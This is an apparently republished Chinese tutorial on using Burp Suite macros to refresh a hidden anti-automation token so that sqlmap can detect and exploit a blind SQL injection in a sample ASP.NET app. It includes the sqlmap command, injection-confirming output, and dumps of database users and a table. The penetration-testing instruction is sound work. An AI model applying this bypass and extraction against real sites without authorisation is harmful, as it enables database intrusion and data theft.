利用Burp“宏”自动化另类 SQLi

简介: 本文讲的是利用Burp“宏”自动化另类 SQLi,有许多工具可用于Web应用程序自动化测试。最著名的工具可能是sqlmap。 通过一些简单的命令,Sqlmap就可以轻松地识别和利用SQL注入漏洞。然而,诸如CSRF令牌或一些简单的反自动化技术,例如在表单中包含一个唯一的隐藏字段,就可以防止自动化工具正确工作。
本文讲的是 利用Burp“宏”自动化另类 SQLi有许多工具可用于Web应用程序自动化测试。最著名的工具可能是sqlmap。 通过一些简单的命令,Sqlmap就可以轻松地识别和利用SQL注入漏洞。然而,诸如CSRF令牌或一些简单的反自动化技术,例如在表单中包含一个唯一的隐藏字段,就可以防止自动化工具正确工作。 Burp Suite中的宏是绕过这些防护措施以便能够执行自动化测试的好方法,尽管那些防护措施实现起来可能很复杂。

在这篇文章中,我们会使用一个示例应用程序,用户可以在此应用程序中搜索动物的图片:

利用Burp“宏”自动化另类 SQLi

这个Web应用程序使用ASP.NET开发,后端数据库是SQL Server。 该应用程序存在一处SQL盲注漏洞。如下图所示:

利用Burp“宏”自动化另类 SQLi

查看页面源代码,我们可以看到在表单中有一个隐藏的输入字段(token),其值为一个GUID:

<form method="post" action="./" id="form1">
    <div>
        <input name="txtQuery" type="text" id="txtQuery" style="width:270px;" />
        <input type="submit" name="btnSearch" value="Search" id="btnSearch" />
        <input type="hidden" name="token" id="token" value="012aedf8-412a-4418-bd76-cf61f13ec22f" />
    </div>
    </form>
    <span id="lblResultText"></span>
    <br />
</body>
</html>

服务器每次响应时都会生成新的表单Token,并且如果在POST请求表单中该表单Token不匹配,网页就会报错,如下图:

利用Burp“宏”自动化另类 SQLi

所以,已知了这一切,就先让我们看看当我们尝试用sqlmap而不使用宏来修改请求时会发生什么。 我们运行如下命令:

$ sqlmap -u http://10.99.10.20:8080 --method=POST --data= "__VIEWSTATE=ThFsV9HLtQRaOW3ksjD%2F8jPJ%2BK4oYtIZJ9UZjSdVZecr9MFluyVQIMvZTKyg3Q1eCjcahMgDNYnhBeQIA2FCGq1HaWWj8WE3CPXbXZc5j3I%3D&__VIEWSTATEGENERATOR=CA0B0334&__EVENTVALIDATION=3OHOMEoCmtD5YRvASiOGybpufR%2BFQoZetngO2sq5zb9YFl3HtW%2BBzrISbPZE58dZtG6LsC6qns%2BlotceoeBunvTMcKLH8MIyzmxk3PoHuiWpavLOqJGozuk6py0DvKaWvWHDuFZO1QU2dfG5yPZ29nTLapvb3KcAPWAMDBI25FM%3D&txtQuery=cat&btnSearch=Search&token=77d5a318-c2b0-466d-a4ba-b8c5d155c54f" --proxy=http://127.0.0.1:8080 -p txtQuery

我们从sqlmap的输出中注意到的第一件事是重定向到错误页面:

[16:42:45] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://10.99.10.20:8080/error.html?aspxerrorpath=/default.aspx'. Do you want to follow? [Y/n]

不过,很明显这对于sqlmap来说找到并利用SQLi的希望并不大。不过,还是让我们继续这个过程,看看会发生什么。

[16:45:57] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[16:45:58] [INFO] testing 'Oracle AND time-based blind'
[16:45:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[16:45:58] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it with option '--dbms'
[16:46:02] [WARNING] POST parameter 'txtQuery' does not seem to be injectable
[16:46:02] [CRITICAL] all tested parameters appear to be not injectable.

Okay,sqlmap似乎认为该参数不可注入; 但我们知道这里的确存在一处SQLi。让我们现在创建一个Burp宏,它将用一个新的表单Token替换请求中的“token”参数,以便我们可以使用sqlmap继续利用此SQLi漏洞。

Burp Suite中的宏实际上是一系列HTTP请求,这些请求会在由Burp代理的请求发送到服务器之前进行请求。一旦已经执行了宏请求,则从最终的宏请求的响应中取得的参数集合就可以被传递到调用宏的请求中。

首先要做的是记录我们想要的一系列HTTP请求。 在本文这种场景中,只有一个请求:对服务器的GET请求也就是获取token的请求。 “宏”可用于执行复杂的操作,例如登录应用程序和检索Cookie。 在Burp Suite中,转到“项目选项”选项卡和“会话”子选项卡。如下图:

利用Burp“宏”自动化另类 SQLi

向下滚动到“Macros”(宏)部分,然后单击添加。

利用Burp“宏”自动化另类 SQLi

将弹出两个对话框。 第一个是宏编辑器,第二个是宏记录器。 为了确定我们想要执行的一系列请求,我们需要“记录”我们想要创建的宏。可以通过两种方式完成:我们现在可以执行我们想要做为宏的一部分的操作(即浏览登录页面,发送特定的GET请求等),然后从列表中选择登录和特定操作的HTTP请求; 或者直接在“代理历史列表”(Proxy –> HTTP History)中选择已经存在的HTTP请求。在本文的示例中,我们只需要找到一个请求,如下图:

利用Burp“宏”自动化另类 SQLi

一旦选中我们所需的请求(高亮显示的那一个),点击ok,然后我们进入了宏编辑器。

利用Burp“宏”自动化另类 SQLi

从这里,我们将需要对截获的请求进行一个小的更改。 选中请求,单击右侧的“配置项目”(Configure item),将显示“配置宏项目”的对话框。 然后,点击“自定义响应的参数位置”中的添加按钮。

利用Burp“宏”自动化另类 SQLi

然后,我们需要在HTTP响应体中定位我们要的参数——token,Burp会高亮显示我们要提取的值,设置参数的名称,以便在宏完成后可以将其传递给最终的HTTP请求。

利用Burp“宏”自动化另类 SQLi

当我们在响应中高亮显示我们所需的值的时候,“定义开始和结束”这一部分会自动完成。 所有其他设置可以保留为默认值。 单击确定关闭“定义自定义参数”的对话框,单击确定关闭“配置宏项目”的对话框,最后再次单击确定以关闭宏编辑器。

现在我们创建了我们想要的宏,但是我们仍然需要实现会话处理规则,以允许宏对所需的请求进行操作。 在“会话”选项卡上,转到“会话处理规则”部分,然后单击添加按钮。如下图:

利用Burp“宏”自动化另类 SQLi

当对话框弹出时,单击“规则操作”下的添加,然后从下拉菜单中选择“运行宏”。

利用Burp“宏”自动化另类 SQLi

之后会打开“会话处理操作编辑器”。 在这里我们选择我们之前添加的宏,然后选择“仅更新以下参数”,并将我们的参数添加到列表中。 如果我们需要根据宏的最终请求修改cookie,那么我们也可以在这里进行添加。本文的演示示例不需要设置cookie。

利用Burp“宏”自动化另类 SQLi

单击OK关闭此对话框,然后单击会话处理规则编辑器的“范围(Scope)”标签页。

利用Burp“宏”自动化另类 SQLi

这里我们需要定义受规则影响的请求的范围。在“Tools Scope”下,默认情况下不会选择代理(因为如果没有正确配置的话,可能会影响通过Burp代理的每一个请求)。为了使用此规则与sqlmap一起工作,我们必须选中“Proxy”。为了限制范围,我们使用“Use suite scope”选项,本文的演示仅包括示例站点。最后,我们将“参数范围”限制为仅影响包含“token”参数的请求,因为这是我们真正需要修改的请求。单击“OK”关闭对话框。

上述设置就是我们需要配置的一个宏来自动修改sqlmap的请求。现在,当sqlmap的请求通过代理时,Burp将首先向服务器发出GET请求,并使用从GET请求中提取的token参数的值替换sqlmap的POST请求中的“token”参数的值。

N.B:Burp不会在“代理历史记录”列表中显示被宏修改过的HTTP请求,因此如果你想确认你添加的宏是否按预期工作,那么你可以打开 “项目选项”标签页中的“会话”选项卡中的会话跟踪器来进行观察。在会话跟踪器里可以按照请求顺序挨个查看通过会话处理规则的处理过的每一个请求,所以,你将能够观察对请求所做的任何更改。

一旦启用了我们添加的宏,sqlmap应该就能够正确地识别我们示例网站中的SQL注入漏洞了,并能够成功利用此漏洞:

[20:38:09] [INFO] POST parameter 'txtQuery' appears to be 'Microsoft SQL Server/Sybase stacked queries (comment)' injectable
[20:38:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[20:38:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF - comment)'
[20:38:19] [INFO] POST parameter 'txtQuery' appears to be 'Microsoft SQL Server/Sybase time-based blind (IF - comment)' injectable
[20:38:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:38:19] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[20:38:19] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[20:38:19] [INFO] target URL appears to have 1 column in query
[20:38:20] [INFO] POST parameter 'txtQuery' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'txtQuery' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

可以看到,sqlmap发现参数是易受攻击的,我们现在可以使用sqlmap来提取数据,如用户和表:

[20:41:46] [INFO] fetching database users
[20:41:46] [WARNING] reflective value(s) found and filtering out
[20:41:46] [INFO] the SQL query used returns 2 entries
[20:41:46] [INFO] retrieved: animals
[20:41:47] [INFO] retrieved: sa
database management system users [2]:                                                                                                                                                                            
[*] animals
[*] sa
<…SNIP…>
[20:42:44] [INFO] analyzing table dump for possible password hashes
Database: Animals
Table: AnimalImages
[4 entries]
+----+-----------+-------------+
| ID | imageData | description |
+----+-----------+-------------+
| 1  |  blank    | dog         |
| 2  |  blank    | cat         |
| 3  |  blank    | mouse       |
| 4  |  blank    | musk ox     |
+----+-----------+-------------+



原文发布时间为:2017年3月13日
本文作者:李白
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
|
Web App开发 安全 Java
利用Burp“宏”解决自动化 web fuzzer的登录问题
本文讲的是利用Burp“宏”解决自动化 web fuzzer的登录问题,本博文的主要内容是关于如何利用Burp Suite宏,帮助我们自动化完成需要手动输入payload的模糊测试工作。尽管许多安全测试人员可能会知道,这篇文章只是为那些尚未利用Burp宏的自动化功能的人所写的。
1611 0
|
2月前
|
机器学习/深度学习 人工智能 运维
构建高效运维体系:从自动化到智能化的演进
本文探讨了如何通过自动化和智能化手段,提升IT运维效率与质量。首先介绍了自动化在简化操作、减少错误中的作用;然后阐述了智能化技术如AI在预测故障、优化资源中的应用;最后讨论了如何构建一个既自动化又智能的运维体系,以实现高效、稳定和安全的IT环境。
75 4
|
2月前
|
运维 Linux Apache
,自动化运维成为现代IT基础设施的关键部分。Puppet是一款强大的自动化运维工具
【10月更文挑战第7天】随着云计算和容器化技术的发展,自动化运维成为现代IT基础设施的关键部分。Puppet是一款强大的自动化运维工具,通过定义资源状态和关系,确保系统始终处于期望配置状态。本文介绍Puppet的基本概念、安装配置及使用示例,帮助读者快速掌握Puppet,实现高效自动化运维。
63 4
|
19天前
|
机器学习/深度学习 运维 监控
智能化运维:从自动化到AIOps的演进之路####
本文深入探讨了IT运维领域如何由传统手工操作逐步迈向高度自动化,并进一步向智能化运维(AIOps)转型的过程。不同于常规摘要仅概述内容要点,本摘要将直接引入一个核心观点:随着云计算、大数据及人工智能技术的飞速发展,智能化运维已成为提升企业IT系统稳定性与效率的关键驱动力。文章详细阐述了自动化工具的应用现状、面临的挑战以及AIOps如何通过预测性分析和智能决策支持,实现运维工作的质变,引领读者思考未来运维模式的发展趋势。 ####
|
19天前
|
机器学习/深度学习 数据采集 人工智能
智能化运维:从自动化到AIOps的演进与实践####
本文探讨了智能运维(AIOps)的崛起背景,深入分析了其核心概念、关键技术、应用场景及面临的挑战,并对比了传统IT运维模式,揭示了AIOps如何引领运维管理向更高效、智能的方向迈进。通过实际案例分析,展示了AIOps在不同行业中的应用成效,为读者提供了对未来智能运维趋势的洞察与思考。 ####
48 1
|
1月前
|
机器学习/深度学习 数据采集 人工智能
智能运维:从自动化到AIOps的演进与实践####
本文探讨了智能运维(AIOps)的兴起背景、核心组件及其在现代IT运维中的应用。通过对比传统运维模式,阐述了AIOps如何利用机器学习、大数据分析等技术,实现故障预测、根因分析、自动化修复等功能,从而提升系统稳定性和运维效率。文章还深入分析了实施AIOps面临的挑战与解决方案,并展望了其未来发展趋势。 ####
|
1月前
|
机器学习/深度学习 数据采集 运维
智能化运维:机器学习在故障预测和自动化响应中的应用
智能化运维:机器学习在故障预测和自动化响应中的应用
59 4
|
2月前
|
运维 jenkins 持续交付
自动化部署的魅力:如何用Jenkins和Docker简化运维工作
【10月更文挑战第7天】在现代软件开发周期中,快速且高效的部署是至关重要的。本文将引导你理解如何使用Jenkins和Docker实现自动化部署,从而简化运维流程。我们将从基础概念开始,逐步深入到实战操作,让你轻松掌握这一强大的工具组合。通过这篇文章,你将学会如何利用这些工具来提升你的工作效率,并减少人为错误的可能性。
|
2月前
|
运维 Prometheus 监控
运维中的自动化实践每月一次的系统维护曾经是许多企业的噩梦。不仅因为停机时间长,更因为手动操作容易出错。然而,随着自动化工具的引入,这一切正在悄然改变。本文将探讨自动化在IT运维中的重要性及其具体应用。
在当今信息技术飞速发展的时代,企业对系统的稳定性和效率要求越来越高。传统的手动运维方式已经无法满足现代企业的需求。自动化技术的引入不仅提高了运维效率,还显著降低了出错风险。本文通过几个实际案例,展示了自动化在IT运维中的具体应用,包括自动化部署、监控告警和故障排除等方面,旨在为读者提供一些实用的参考。
|
2月前
|
机器学习/深度学习 数据采集 运维
智能化运维:机器学习在故障预测和自动化响应中的应用
【10月更文挑战第1天】智能化运维:机器学习在故障预测和自动化响应中的应用
70 3